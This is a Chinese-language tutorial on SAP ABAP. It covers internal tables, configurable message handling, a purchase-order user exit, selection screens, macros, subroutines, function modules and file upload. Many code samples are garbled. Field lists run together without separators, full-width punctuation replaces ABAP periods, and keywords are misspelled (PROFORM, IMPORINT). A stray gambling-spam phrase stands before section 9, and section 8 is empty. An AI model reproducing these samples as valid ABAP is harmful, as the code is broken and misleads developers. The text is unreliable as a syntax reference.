                DATA  ITAB  LIKE  LINE  OCCURS  10.

                DO  2  TIMES.

                   LINE-COL1 = SY-INDEX.      “SY-INDEX为迥圈的 Counter

                   LINE-COL2 = SY-INDEX **2.

                   APPEND  LINE  INTO  ITAB.             “新增至 Internal Table中

                ENDDO。

                LOOP  AT  ITAB  INTO  LINE.   “ITAB 总共有两个元素

                   WRITE:  /  LINE-COL1LINE-COL2.

                ENDLOOP.

                执行结果为:

                    1       1

                    2         4

 

        Example: 不使用 Work Area

                 DATA:  BEGIN  OF  ITAB  OCCURS  10

                         COL1  TYPE  I

                         COL2  TYPE  I

                         END  OF  ITAB。

                DO  2  TIMES。

                   ITAB-COL1 = SY-INDEX.

                   ITAB-COL2 = SY-INDEX **2.

                   APPEND  ITAB.             “新增至 Internal Table中

                ENDDO。

                LOOP  AT  ITAB。   “ITAB 总共有两个元素

                   WRITE:  /  ITAB-COL1ITAB-COL2.

                ENDLOOP。

                执行结果为:

                    1       1

                    2         4

 

&加入另一Internal Table的元素

   语法:

         APPEND  LINES  OF  <itab1>  [FROM <n1>] [TO <n2>]  TO  <itab2>

         <itab1>的元素加入至<itab2> 可选取自<n1><n2>的范围

         Example:

                  APPEND  LINES  OF  ITAB  TO  JTAB。

                  ITAB所有元素加入JTAB中

 

&Collect  Line

   在加入新元素时将有相同standard key(非数值字段)的数值字段汇总

   语法:

        COLLECT  [<wa>  INTO]  <itab>

 

       Example:

        DATA: BEGIN  OF  ITAB  OCCURS  3

               COL1(3)  TYPE  C

               COL2    TYPE  I

END  OF  ITAB.

 

              ITAB-COL1 = ‘ABC’.  ITAB –COL2 = 10.

              COLLECT  ITAB。

 

              ITAB-COL1 = ‘XYZ’.  ITAB-COL2 = 20.

              COLLECT  ITAB.

 

              ITAB-COL1 = ‘ABC’。  ITAB-COL2 = 30。

COLLECT  ITAB.    “汇总COL2 至 COL1=ABC 的元素上

 

              LOOP  AT  ITAB。

                WRITE:  /  ITAB-COL1ITAB-COL2.

              ENDLOOP。

             执行结果:

                ABC      40

                XYZ      20

 

&Insert  Line

   插入元素在指定的Internal Table位置之前

   语法:

         INSERT  [<wa> INTO] [INITIAL  LINE  INTO]  <itab>  [INDEX  <idx>]

         

         Example:

                  DATA:  BEGIN  OF  LINE

                           COL1  TYPE  I

                           COL2  TYPE  I

                           END  OF  LINE.

                  DATA  ITAB  LIKE  LINE  OCCURS  10.

                  DO  3  TIMES.

                     LINE-COL1 = SY-INDEX *10.

                     LINE-COL2 = SY-INDEX *20.

                     APPEND  LINE  INTO  ITAB.

                  ENDDO.

                  LINE-COL1=100.

                  LINE-COL2=200.

                  INSERT  LINE  INTO  ITAB  INDEX  2.  “插入在位置2之前

                  LOOP  AT  ITAB  INTO  LINE。

             WRITE:  /  SY-TABIXLINE-COL1LINE-COL2. “SY-TABIX为Table位置

             ENDLOOP.

                 执行结果:

                            1        10       20

                            2       100      200  “插入的元素

                            3        20       40

                            4        30       60

 

&插入另一Internal Table元素

   语法:

         INSERT  LINES  OF  <itab1>  [FROM <n1> TO <n2>]  TO  <itab2>  INDEX <idx>

        <itab1>的元素插入至<itab2>中 位置在 <idx>之前 可选取自<n1>至<n2>的范围

         Example:

                  APPEND  LINES  OF  ITAB  TO  JTAB  INDEX  3。

                  ITAB所有元素插入JTAB中 位置在第三个元素之前

 

&Internal Table元素数据的读取

   语法:

         LOOP  AT  <itab>  [INTO <wa>] [FROM <n1> TO <n2>] [WHERE <condition>]

            <loop  expression>

         ENDLOOP.

         根据设定的范围选取原素资料 读完后自动移往下一笔

         Example:

                  LOOP  AT  ITAB  INTO  LINE  WHERE  COL1 >100.

                     WRITE:  /  SY-TABIXLINE-COL1.

                  ENDLOOP.

                  仅读取 COL1 > 100 的元素

 

&读取Internal Table指定位置的元素

   语法:

         READ  TABLE  <itab>  [INTO <wa>]  INDEX  <idx>

         自指定位置 <idx> 读取元素数据

         Example:

                   READ  TABLE  ITAB  INTO  LINE  INDEX  5

                   读取 ITAB的第5个元素资料 放入 LINE的字段中

 

&根据字段内容寻找

   语法:

          READ  TABLE  <itab>  INTO  <wa>

          Example:

                  ITAB-COL1 = ‘ABC’.

                  READ  TABLE  ITAB  INTO  LINE.

                  找出ITAB 中 COL1 字段内容是 ABC 的元素 找到的值放入 LINE 中

                  若找到 SY-SUBRC传回0 找不到则传回 4 <itab>必须宣告有 work area

&异动元素内容

   语法:

         MODIFY  <itab>  [FROM <wa>] [INDEX <idx>] [TRANSPORTING <f1>…<f2>]

                   [WHERE <condition>]

         TRANSPORTING  <f1> ..<f2> : 指定异动的字段名称

         Example:

                 LINE-COL1 = 4.

                 LINE-COL2 = 100.

                 MODIFY  ITAB  FROM  LINE。

                 将目前位置元素以LINE的内容异动

         Example:

                 LINE-COL1 = 10.

                 MODIFY  ITAB  FROM  LINE  INDEX  3  TRANSPORTING  COL1。

                 将第三个元素的COL1字段异动为 10

 

&Delete  Lines

  删除Internal  Table 的元素

  语法:

        DELETE  <itab>  INDEX  <idx>

        Example:

                 DELETE ITAB  INDEX  4

                 删除第四个元素

  加上删除条件:

        DELETE  <itab> [FROM <n1> TO <n2>]  [WHERE <condition>

        Example:

                 DELETE  ITAB  FROM  3  TO  10.

                 删除第3至第10个元素

   

&Internal Table Sorting

  语法:

        SORT  <itab>  [<order>]  [BY <f1>] …。

        [<order>] : 可分成递减(DESCENDING)和递增(ASCENDING) 空白表 ASCENDING

        <f1>:为指定的字段

        Example:

                 SORT  ITAB  DESCENDING  BY  COL2.

                  ITAB 根据 COL2字段递减排序

&计算数值字段总和

   语法:

         SUM

         计算得总和存在work area 中 但只能存在 LOOP 叙述中

         Example:

                  LOOP  AT  ITAB  INTO  LINE.

                    SUM.

                  ENDLOOP。

                  WRITE: /  LINE-COL1LINE-COL2。

                  LINE-COL1 和 LINE-COL2 存数值总和

 

&Initial Table

1。 REFRESH  <itab>

使用在没有 HEADER LINE 的 Internal Table中 清除所有元素

     Example:

              REFRESH  ITAB.

  

2。  CLEAR  <itab>[ ]

使用在有 HEADER LINE 的 Internal Table中 清除所有元素

     Example:

              CLEAR  ITAB[ ].

 

3。 FREE  <itab>

释放(Release) Internal Table所占的内存空间 用在 REFRESH和 CLEAR指令之后

Example:

        FREE  ITAB.

 

7.消息和错误处理

尽管消息这词还用在其他地方比如POSO打印传真等所谓的output message(请看ABAP百夜谈)系统出现异常在这里消息只谈在程序运行逻辑异常处理时的消息.

1定义消息(参考图7-7).

   使用Tcode SE91可自定义包含多消息号的消息类在图7-7中就定义了一个消息类ZFIMSG同时消息号017 中使用了俩&消息变量

2运用消息。

1.可在程序Title中使用MESSAGE-ID加入消息类.

REPORT ZMSGTEST MESSAGE-ID ZFIMSG 。

MESSAGE I017.

使用消息IMG有这样的画面[1][2]的appl和work area实际上对应的就是程序的message_id(SE91:message class)。

 

2。在程序Title中定义直接在语句中使用。

REPORT ZMSGTEST 。

MESSAGE I017(ZFIMSG)。

1。 将变量赋给消息。

REPORT ZMSGTEST 。

MESSAGE I017(ZFIMSG) with ‘Var1’ ‘Var2’ ‘Var3’ 。

或者

MESSAGE ID ' ZFIMSG ' TYPE 'I' NUMBER '0171'  with ‘Var1’ ‘Var2’ ‘Var3’ .

 

尽管017只定义了两消息变量,但是可With多个值,当然只有前俩生效.

4。SAP程序消息类型有下列几种。

I:信息窗口 W:警告 E:错误 S:成功 A:终止程序或Tcode X:未知.

5.和标准SAP一样,你可配置消息比如你需要由用户决定消息类型使用下面程序.

PROGRAM ZMSGTEST   。

CALL FUNCTION 'READ_CUSTOMIZED_MESSAGE'

        EXPORTING

          I_ARBGB = 'ZFIMSG'

          I_DTYPE = ''

          I_MSGNR = '017'

        IMPORTING

          E_MSGTY = SY-MSGTY.

假设你做了Tcode和OBA5一样可配置消息类型在程序中你就可根据返回值SY-MSGTY判断下步工作,E停止处理A退出程序等.

在标准程序中接下来会PERFORM MESSAGE_SEND来决定发送消息类型。

 

3常用消息表格和各模块常用消息配置Tcode.

 在消息配置中Application Area和SE91的Message Class实际上是同一概念.

 

1消息相关最常用的table:

T100: SAP能用到的消息都应该在此表中找到.

T160M :MM模块相关消息表,此表可完全直接维护。就是说只要记住它MM的消息配置直接使用SE16就可以。

T100C: FI模块中用户自定义的消息,比如使用OBA5, OFMG等自定义的消息会写入此表,CO配置消息不在此表。

T100S: 此表保存着允许用户更改的应用区域和消息号举例假设你删除了KI 005则在OBA5中再不能配置此消息.(对MM模块有些例外M7不在此表使用OMCQ依旧可设置M3不在此表OMT4依旧可设置)

 

此表也可直接维护.和T160M不同的是你必须在SE16输入T100S按新建按钮

       才可维护.查询时只可Display.     

T100U: 哪个用户最后更改了消息,从此表能找到.

T100W: For Workflow

2常用Tcode(部分):

FI: OBA5|OFMG|OFPM

MM: OMRM|OKZZ|OMT4|OMCQ |O04C|

SD: OVAH

CO:  OPR4_ACT|OPR4_CK|OPR4_CKML|OPR4_CKPF|OPR4_KKA|OPR4_KKP|OPR4_KKS|

OPR4_KKS1|OPR4_PPCOPP

Others:

    OPR5|OPR1|OPR3|OPR6|OPR7|OPR8|OPR9|OPRCMFE|MSW1|MSW2

3应用举例。

物料价格维护问题

[Case 1]如何在物料价格未维护时依旧可估算成本。

比如在CK11N(CK40N)计算成品标准成本时其中有一些Component没维护价格.就可使用

OPR4_CK将默认的错误消息Switch Off掉(从Tcode OKKN->Misc.->Error Management按钮也可).

***另外临时处理方法一是将相关component的物料Cost 1 View选上Do not Costing。

对需要计算标准成本的材料选上它就不再允许计算标准成本不妥,但是对原材料无所谓因为系统会这样处理,如此材料没维护价格,BOM用到它的成品不计算其成本,但是如此物料维护了价格后还是以物料价格为先的.(当然CK11N去估算此原材料是不行的用户也不需如此做).二是按SAP推荐的如果将price设成0。01,price unit设置成100.

[Case 2]如何限定物料价格必须维护.

(1)对采用S price control的.SAP默认是Warning(Tcode :OMT4 M3-132如需要限定必须维护价格,将其改成W就可.

(2)对采用V price control的OMT4找不到其消息号M3-131但系统默认是Warning如果用户认为也有相关配置就有犯了认为SAP万能的错误,再次强调SAP只是一堆代码并不神秘.好让我们看看其逻辑.

***实际上直接使用SE16:T160M可直接配置MM相关.

如图:[1]SE38找到程序LMG11F01 [2]在此处设置断点 [3]如价格为0(空格)

     写死的,当然配置无效.

 

再看S Price control(如下图显然从T160M表读了IMG数据).

 

4灵活运用消息.

对于消息的运用除了可配置消息类别外,另外一个重要用处就在于,可根据消息找到程序弹出消息的确切行然后稍微花点时间看看程序逻辑就可大概知道异常发生的根本原因。 从某种程度来讲即使对某模块很陌生只要掌握得好,依旧可排除一些问题。

5 配置自定义的消息.

俩方法可模妨SAP的消息配置

1从上我们已经知道既然T160M是可直接使用SE16维护的我们就可直接将相关设置写入T160M.然后就可根据相关设置取得消息类别(如上图我们使用函数ME_CHECK_T160M),这样比类似MESSAGE E017(ZFIMSG)—Hard code要安全得多假设不管三七二十一就给出错误消息,除非在程序中确信已考虑了所有情况否则还是在T160M这样设置比较好(万一在生产环境还可更改E成W什么的).

 

2我们知道T100C是所谓的可配置消息表我们可使用SE16:T100C和V_T100C.

(1)SE16:T100S定义消息可配置信息.

如图[1]在此新建.(进去browse数据似乎不可新建)

 

设置消息。如下图。

[1]Appl Area消息类ZFIMSG。 [2]表示允许配置的消息类型 [3]没选则表示不能关闭消息。

 

(2)SE16:V_T100C配置消息.

如图:

[1]表示直接使用程序(Tcode)的消息类型[2]当当程序以BDC方式运行时的消息类型

[3]就是上图设置的允许的消息类型可看到警告和关闭都没出现(T100C没允许)

 

同样在程序中避免使用泪水MESSAGE E017(ZFIMSG)而采用

CALL FUNCTION 'READ_CUSTOMIZED_MESSAGE'

        EXPORTING

          I_ARBGB = 'ZFIMSG'

          I_DTYPE = ''

          I_MSGNR = '017'

        IMPORTING

          E_MSGTY = SY-MSGTY.

根据返回的SY-MSGTY去判断消息类型将更好些。

6实例介绍

PO在有发票校验后禁止修改价格假设无PO release策略使用User-exit步骤如下:

(1)找合适的用户出口

发现EXIT_SAPMM06E_017比较合适SMOD 输入enhancement name :MM06E005

(2)编写代码.

*&---------------------------------------------------------------------*

*&  Include           ZXM06U42                                         *

*&---------------------------------------------------------------------*

DATA : ZWATEKPO like BEKPO ,

       ZIEINFO  LIKE EINFO OCCURS 0 WITH HEADER LINE

       ZERMSG(73) TYPE C。

TABLES EKBE .

***TEKPO records all the old PO item date 。

*** I_EKPO records currently processed PO item 。

READ TABLE TEKPO INTO ZWATEKPO   WITH KEY EBELP = I_EKPO-EBELP .

***只对ME22N才生效.

CHECK SY-TCODE = 'ME22N '。

***EKBE是PO history 表如有QR表示有发票校验历史,不允许更改价##

SELECT  SINGLE * FROM EKBE

   WHERE EBELN = I_EKPO-EBELn

         AND EBELP = I_EKPO-EBELP

         AND ( BEWTP = 'Q' OR BEWTP = 'R')。

CHECK SY-SUBRC = 0 。

***如果SY-SUBRC =0表示发票已经校验,不允许更改价格,否则还是可更改价格##

IF I_EKPO-NETPR <> ZWATEKPO-NETPR 。

*** Change e017(ZFIMSG) accordingly

*   MESSAGE e017(ZFIMSG)."使用下面函数代替.

  CALL FUNCTION 'READ_CUSTOMIZED_MESSAGE'

        EXPORTING

          I_ARBGB = 'ZFIMSG'

          I_DTYPE = ''

          I_MSGNR = '017'

        IMPORTING

          E_MSGTY = SY-MSGTY.

  CHECK SY-MSGTY NE '-' 。

  REFRESH ZIEINFO.

  ZIEINFO-MSGID = 'ZFIMSG'。

  ZIEINFO-MSGNO = '017' .

  ZIEINFO-MSGV1 = 'VAR1'.

  ZIEINFO-MSGV2 = 'VAR2'。

  APPEND ZIEINFO .

  CALL FUNCTION 'MESSAGE_GET_TEXT'

    EXPORTING

      IEINFO   = ZIEINFO

      ILANGU   = SY-LANGU

    IMPORTING

      ETEXT    = ZERMSG .

      MESSAGE ZERMSG TYPE SY-MSGTY .

ENDIF。

 

***在大多数情况下追踪消息能发现问题所在,然而在一些特定情况下SAP显示的消息似乎和实际业务并不符合。好比一个人咳嗽的厉害以为是感冒结果其实不过是有写异物进入其喉咙而已.

 

 

 

8.使用用户授权

 

安卓棋牌游戏9.调用外部程序和程序动态生产

10.选择屏幕

§屏幕輸入命令

   ABAP/4中要從螢幕輸入變量 使用的命令是 PARAMETERS 及SELECTION-OPTIONS:

    1。 PARAMETER: 輸入一個變量

    2. SELECTION-OPTIONS: 使用條件篩選畫面來輸入數据               

      

. PARAMETERS 指令

基本的輸入命令 類似如BASIC的INPUT命令 但無法使用F格式(浮點數)

    語法:

        PARAMETERS  <p>  [DEFAULT <f>]  [LOWER CASE]

                           [OBLIGATORY]  [AS CHECKBOX]

                           [RADIOBUTTON GROUP <rad>]

       Example:

            PARAMETERS:  NAME(8)

                           AGE  TYPE  I

                           BIRTH  TYPE  D.

            執行結果:             

在日期的輸入格式上為 MM/DD/YY  MM/DD/YYYY MMDDYY或MMDDYYYY  如輸入 020165表 1965年02月01日 02/01/65的輸入是一樣的 日期輸入範圍為西元1950年至2049年

1. DEFAULT

設定輸入的預設值

Example:

   PARAMETERS:  COMPANY(20)  DEFAULT  ‘DELTA’

                   BIRTH  TYPE  D  DEFAULT  ‘19650201’.

2。   LOWER CASE

     ABAP/4預設是將字串輸入值自動轉換為大寫 加上此參數會將輸入的資料轉成小寫 

3。   OBLIGATORY

強制要求輸入 螢幕上會出現一個 ?  使用者必須要輸入才可.

4。   AS CHECKBOX

 輸入 CHECKBOX的格式

 Example:

          PARAMETERS:  TAX  AS  CHECKBOX  DEFAULT ‘X’

                         NTD  AS  CHECKBOX。

          執行結果:

    

5.    RADIOBUTTON GROUP <rad>

      輸入 RADIO BUTTON GROUP 的方式

      Example:

     PARAMETERS: BOY  RADIOBUTTON GROUP  SEX  DEFAULT ‘X’         

                   GIRL  RADIOBUTTON GROUP  SEX。

              執行結果:

.  SELECT-OPTIONS

   SELECTION-OPTIONS所輸入的值實際上是放在internal table中的Internal table 有四個欄位分別是:SIGNOPTIONLOWHIGH。。 條件篩選檢查條件輸入畫面指令 輸入條件後可配合SELECT指令自TABLE讀取符合條件的資料 直接執行或放入 Internal Table中 條件有四個參數:
1. SIGN:

     I: 表篩選條件符合的資料

     E: 表篩選條件不符合的資料

2. OPTION: 比較的條件符號

          EQ(等於)NE(不等於)GT (大於)LE(小於)CP(包含)NP(不包含)

 BT(介於之間)

3. LOW: 最小值

4. HIGH: 最大值

   語法:

          SELECTION-OPTIONS  <check-option>  FOR  <table-field>

Example:

          TABLES  SPFLI.

          SELECTION-OPTIONS  AIRLINE  FOR  SPFLI-CONNID.

將條件的輸入值存放入 AIRLINE 篩選選擇為SPFLI中的CONNID欄位

執行結果:

可直接輸入起始範圍或按下選擇畫面 輸入完後按下左上角的執行鍵

        

 

. 條件輸入選擇畫面

1。 Table中選取

按下輸入項的右邊往下箭頭 叫出Table中資料項 選取開始和結束的範圍

2。 Selection Options

按下”Selection options”按鍵  輸入Option及 Sign參數內容 螢幕如下:

  

 3.Multi-Options輸入

     按下最右邊的Multi-Options輸入鍵 輸入條件選取的範圍 畫面如下:
     條件輸入完後按下”Copy”按鍵

 

. 改變條件輸入格式

1. DEFAULT  <begin>  TO  <end>

設定開始結束範圍輸入預設值

     Example:

             SELECT-OPTION  AIRLINE  FOR  SPFLI-CONNID

                 DEFAULT  ‘2042’  TO  ‘4555’.

2. NO-EXTENSION

設定不要Multi-Option輸入畫面

3. NO  INTERVALS

設定不要區間範圍輸入畫面

4. LOWER CASE

輸入轉換成大寫

5. OBLIGATORY

強制要求輸入

    

. 配合 SELECT 命令

   條件輸入完後要將符合條件的資料篩選出來 可配合使用 SELECT 指令

   1.使用WHERE <條件式>

Example:

         SELECT-OPTIONS  AIRLINE  FOR  SPFLI-CONNID.

         SELECT  *  FROM  SPFLI  WHERE  CONNID  IN  AIRLINE.

            WRITE: / CONNIDFROMCITYTOCITY.

             ENDSELECT.

2.使用CHECK參數

Example:

         SELECT-OPTIONS  AIRLINE  FOR  SPFLI-CONNID.

         SELECT  *  FROM  SPFLI。

            CHECK  AIRLINE。

            WRITE: / CONNIDFROMCITYTOCITY.

             ENDSELECT.

   3.使用 IF … IN 敘述

     Example:

         SELECT-OPTIONS  AIRLINE  FOR  SPFLI-CONNID。

         SELECT  *  FROM  SPFLI.

            IF  SPFLI-CONNID  IN  AIRLINE.

              WRITE: / CONNIDFROMCITYTOCITY.

                ENDIF

             ENDSELECT。

  

. SELECTION-SCREEN

    1.產生空白列

語法:

      SELECTION-SCREEN  SKIP  [<n>]

          Example:

                   SELECTION-SCREEN  SKIP  2.

                   產生兩列空白列

    2.產生底線

語法:

      SELECTION-SCREEN  ULINE  / <pos>(length)

          Example:

                   SELECTION-SCREEN  ULINE  /10(30)。

                   自第10格開始產生長度30的底線

   3。印出備註說明

     語法:

      SELECTION-SCREEN  COMMENT  / <pos>(length)  <name>

          Example: (錯誤)

                   REMARK = ‘Pls enter your name’。

                   SELECTION-SCREEN  COMMENT  /10(30)  REMARK。

      Example: (正確)

SELECTION-SCREEN COMMENT  /10(30)  REMARK .

          INITIALIZATION .

REMARK = ‘Pls enter your name’ .

    4. 同一列中輸入數個資料項

語法:

      SELECTION-SCREEN  BEGIN  OF  LINE.

         ……

      SELECTION-SCREEN  END  OF  LINE。

      Example:

              SELECTION-SCREEN  BEGIN  OF  LINE.

                  SELECTION-SCREEN  POSITION 20.

                  PARAMETERS  NAME(10).

                  SELECTION-SCREEN  POSITION 40。

                  PARAMETERS  BIRTH  TYPE  D。

              SELECTION-SCREEN  END  OF  LINE.

              20格輸入NAME內容 40格輸入 BIRTH的內容

 

    5. 繪出BLOCK PANEL

語法:

SELECTION-SCREEN  BEGIN  OF  BLOCK  <block>

                      [WITH  FRAME  [TITLE  <title>]。

          ……。

SELECTION-SCREEN  END  OF  BLOCK  <block>.

Example:

 SELECTION-SCREEN  BEGIN  OF  BLOCK  RADIO                          WITH  FRAME .

                  PARAMETER  R1  RADIOBUTTON  GROUP  GR1。

                  PARAMETER  R2  RADIOBUTTON  GROUP  GR1.

                  PARAMETER  R3  RADIOBUTTON  GROUP  GR1.

               SELECTION-SCREEN  END  OF  BLOCK  RADIO。  

 

 

 

11.模块化开发

§ABAP/4 PROGRAM MODULE

ABAP/4中的Module類似于其他語言中的子程序通常是先定義后調用.主程式傳給Module所需要的參數然后Module返回主程式所需要的值.當然 ABAP/4中也有 ’傳值’ 和 ’傳址’ 兩种參數傳遞方式.

一. Macro block (宏)

      (Macro block)包括宏定義語句和宏調用語句.

      宏定義的格式:

            DEFINE <macro>.

                    <macro statements>。

            END-OF-DEFINITION.

      宏調用的格式:

            <macro> [<p1>  <p2>…].

      其中: [<p1>  <p2>…].表示所使用的參數參數之間要有一個空格.

   舉例:

           DATA:  result TYPE I。

           DEFINE MULTI。

                   result = &1 * &2。

                   WRITE: / ‘&1 * &2’ = result.(有錯誤)

   Write : / ‘&1*&2=’ result .

           END-OF-DEFINITION.

           MULTI 3 7.

   輸出結果為: 21。

宏可以調用其它宏但不可以調用自身.

 

DATA: RESULT TYPE I

N1 TYPE I VALUE 5

N2 TYPE I VALUE 6.

 

DEFINE OPERATION.

RESULT = &1 &2 &3.

OUTPUT &1 &2 &3 RESULT。

END-OF-DEFINITION.

 

DEFINE OUTPUT.

WRITE: / ’The result of &1 &2 &3 is’ &4.

END-OF-DEFINITION.

 

OPERATION 4 + 3 .

OPERATION 2 ** 7.

OPERATION N2 - N1.

 

輸出結果為:

        The result of 4 + 3 is          7

The result of 2 ** 7 is        128

The result of N2 - N1 is          1

 

 

二. Include 使用

格式: INCLUDE <yixxxxxx>.

作用: 將某個寫好的INCLUDE 程式(代碼)加到原程式中在程式編譯(combine)的時候系統會自動全部展開并且編譯.

 

注意:

     INCLUDE程式不能傳送數据. 如果需要傳送數据使用SUBROUTINES 或 FUNCTION MODULES.

 

INCLUDE 的調用格式.

         INCLUDE  <INCL>.

例如:

REPORT zchn4062.

INCLUDE yiauth00.

 

.Global 變數宣告應用

      語法:

            DATA:  BEGIN  OF  COMMON  PART  [<name>]

                    <data 宣告>

                    END  OF  COMMON  PART  [<name>]

            此常使用在 Include 的檔案中 

            ***INCLUDE INCOMMON。

            DATA: BEGIN  OF  COMMON  PART  NUMBERS

                   MID(8)

                   MNUM  TYPE  I

                  END  OF  COMMON  PART  NUMBERS。

 

 

三。 Subroutine Procedure

 

Internal Subroutines:  Subroutines 的代碼就在調用它的程式里.

External Subroutines:  Subroutines 的代碼不在調用它的程式里

ABAP/4 Subroutine的呼叫可分成 Internal Call External Call 前者撰寫在程式

    後者存在另一程式中 通常為專存放Subroutine的公用程式集 可提供結不同的

   程式呼叫.

 1。Subroutine 的宣告

      FORM  <subr>  [<pass>]。

          <subroutine statement block>

      ENDFORM.

   2.呼叫的方法

    (1).Internal Call

       語法:

             PERFORM <subr> [<pass>]

             Example:

                     NUM1 = 100。  NUM2 = 200。

                     PROFORM  ADD.

                     FORM  ADD.

                        SUM = NUM1 + NUM2.

                        WRITE: / ‘NUM1 + NUM2 = ‘SUM.

                     ENDFORM。

                     執行結果:  NUM1 + NUM2 = 300

   (2).External Call 另一程式

      語法:

            PERFORM  <subr>(<prog>) [<pass>] [IF FOUND]  

            <subr>:副程式名稱

            <prog>:存放副程式的程式名稱

            IF FOUND: 找到才執行

            Example:

                     PROGRAM  FORMPOOL.

                     FORM  HEADER。

                        WRITE: / ‘USER NAME: ‘SY-UNAME.

                     ENDFORM.

                     在程式中呼叫HEADER副程式

                     PROGRAM  YTEST1.

                     PERFORM  HEADER(FORMPOOL)  IF  FOUND.

  (3).External Call 另一專存放副程式的程式檔 CALL的Subroutine name 和

存放該Subroutine 的副程式名都存放在變量中.

     語法:

           PERFORM  (<fsubr>)  [IN  PROGRAM (<fprog>) [<pass>] [IF FOUND]

           Example:

                    存放副程式的程式檔

                    PROGRAM  FORMPOOL。

                    FORM  SUB1.

                       WRITE: / ‘USER NAME:’SY-UNAME.

                    ENDFORM.

                    FORM  SUB2。

                      WRITE: / ‘HOST SERVER:’SY-HOST.

                    ENDFORM。

                    在程式中呼叫 FORMPOOL中的SUB2 副程式

                    SUBNAME = ‘SUB2’.

                    PROGNAME = ‘FORMPOOL’。

                    PERFORM  (SUBNAME)  IN PROGRAM (PROGNAME) IF FOUND

 

&參數值的傳遞

   ABAP/4中參數的傳遞可分成

1。 Call By Reference:

傳參數時將資料的存放位址(address)傳至參數中 也就是副程式中的參數變數與外部實際

變數共用位址內的值 又稱為 Call By Address 若在副程式中位址中的值改變了 外部實

際變數的值也會跟著改變.

語法:

     FORM  <subr>  [USING <f1> <f2>…] [CHANGING <f1>…]

     PERFORM  <subr>  [USING <f1> <f2>…] [CHANGING <f1>…]

     Using 之後接在副程式中不會改變的變數 CHANGING接會改變值的變數

     但實際上USING之後的參數在副程式中也可將值改變

     Example:

     SUM = 0.

     NUM1 = 100.  NUM2=200.

     PERFORM  ADD  USING  NUM1  NUM2  CHANGING  SUM.

     WRITE: / NUM1NUM2SUM  “ SUM 由 0 變成 300

     FORM  ADD  USING  NUM1  NUM2  CHANGING  SUM。

        SUM  =  NUM1  +  NUM2。

     ENDFORM。

     執行結果:

                     100   200   300

 

2。 Call By Value

傳參數時將資料的值複製一份至另一位址中 所以在副程式中參數變數值改變 並不會影

響外部實際變數的值.

     語法:

          FORM  <subr>  USING  VALUE(<f1>…)

          使用 VALUE(<f1>)表示 <f1>是 Call By Value的傳遞

          PERFORM  <subr>  USING  <f1>  

     Example:

     SUM = 0.

     NUM1 = 5.

     PERFORM  MULTI  USING  NUM1  CHANGING  SUM.

     WRITE: / NUM1SUM  “NUM1值還是5  SUM 由 0 變成 120

     FORM  MULTI  USING  VALUE(NUM1)  CHANGING  SUM.

        SUM = 1.

        WHILE  NUM1 > 1

          SUM  =  SUM * NUM1.

          NUM1 = NUM1 – 1。

        ENDWHILE..

     ENDFORM.

     執行結果:

                     5   120

 

3. Call By Value and Return Result

傳入參數值的方式同Call By Value 但在副程式結束執行時會將傳入的參數值複製

一份傳回給外部實際變數. 執行過程中外部實際參數不變.

  語法:

        FORM  ….. CHANGING  VALUE(<f1>)

        PERFORM  …. CHANGING …. <f1>

        Example:

               SUM = 0。

               NUM1 = 100.  NUM2=200.

               PERFORM  ADD  USING  NUM1  NUM2  CHANGING  SUM。

               WRITE: / NUM1NUM2SUM  “ SUM 由 0 變成 300

               FORM  ADD  USING  NUM1  NUM2  CHANGING  VALUE(S).

                  S  =  NUM1  +  NUM2.

                  WRITE: / NUM1NUM2SUM  “得到結果為 100  200  0

               ENDFORM.

     執行結果:

                100    200     0    “在副程式中 SUM值尚未改變

                    100   200   300    “返回程式時 將變數 S的值複製給 SUM

                                        “所以 SUM值變成 300

 

INTERNAL TABLE的傳送.

  1 PASSING WITH USING AND SHANGING.

  2 PASSING WITH TABLES。

 

 

 

&Subroutine 的控制

CHECK <Condition>

CHECK 之後條件成立才繼續往下副程式敘述

  Example:

          PERFORM  SUB1.

              CHECK  NUM1 < 10.

              WRITE  /  NUM1。

               NUM1 = NUM1 + 1.  

           ENDFORM。

EXIT

強迫結束副程式執行 返回上一層程式敘述

 

&Function Module

ABAP/4中的Function Module是儲存在一個函式庫中(library) 系統提供很多內設的

Function Module供程式中呼叫 也可以自行增加自己的Function Module.

1.叫出已存在的Function Module

 

  (1).在ABAP/4 Development Workbench 畫面中選擇 “Function library” 可見以下畫面:

     

  (2).選擇”Utility”中的”Find”中輸入要尋找的Function Module 名稱 如輸入 STRING* 為找

     出前五個字元為 STRING的Function Module:

     

 

 

 

 

    

(3)。輸入後按下左上的Execute 可見以下畫面:

         

    (4).選擇要查詢或修改的Function名稱 如選擇 STRING_LENGTH 如要查詢可選擇

         “Display” 可見Function Module之各項參數設定:

         <1>。Import Parameter: 傳入的參數名稱 但實際在程式中使用時剛好與Export 相顛們

         <2>.Export Parameter: 傳回的參數名稱 程式中變成 Import 的使用

         <3>.Changing Parameter:使用Call By Value and Return Result方法的參數

         <4>.Table Parameter: 使用的 Initial Table參數

         <5>.Exceptions: 錯誤處理參數 

          STRING_LENGTH 為一傳回字串長度的函數 其設定的參數如下:

             Import : String   傳入一字串字串資料

             Export: Length  傳回的字串長度值

   

   (5).要查看程式內容可按下 “ Source Code” 顯示其程式內容如下:

      

       function  string_length.

 

          length = strlen(string).

 

       endfunction.

 

   (6)。函數的呼叫

      語法:

            CALL  FUNCTION  <module>

               IMPORTING   F1=a1….

               EXPORTING   F1=a1….

               CHANGING   F1=a1…

               TABLES      F1=a1…

               EXCEPTIONS  F1=a1…

               

           Example:

                     DATA:  TEXT(20)

                             LEN  TYPE  I.

                             TEXT = ‘ABCDEFGHIJ’.

                             CALL  FUNCTION  ‘STRING_LENGTH’

                                EXPORTING  STRING = TEXT

                                IMPORTING  LENGTH = LEN.

                             WRITE  /  LEN.

                             注意 EXPORTING與IMPORTING剛好顛倒 

                             執行所得結果為 10

        

 

 

.加强篇.

1. File  DOWNLOAD & UPLOAD

在我們的SAP系統中經常會有資料Upload(“上載”)或Download(“下載”)尤其是在作migration的時候有許多的資料需要Upload 到SAP系統中. 通常我們會CALL FUNCTION來處理.(注意: 在CALL FUNCTION時FUNCTION名稱必須大寫且中間沒有任何標點符號如果執行成功SY-SUBRC = 0).

一. UPLOAD

將所需要的資料從其他系統 ”上載” 到SAP系統叫 ‘UPLOAD’目前我們在使用時都是將資料轉成文本文件(.TXT FILE)然后CALL FUNCTION將此文本文件讀到internal table中.

     格式: CALL FUNCTION ‘WS_UPLOAD’

                EXPORTING

                     CODEPAGE = ‘ ‘

                     FILENAME = <filename>

                     FILETYPE = ‘ASC’

                IMPORINT

                     FILELENGTH = <length>

                TABLES

                     DATA_TAB = <work itab>

                EXCEPTIONS

                     CONVENSION_ERROR    = 1

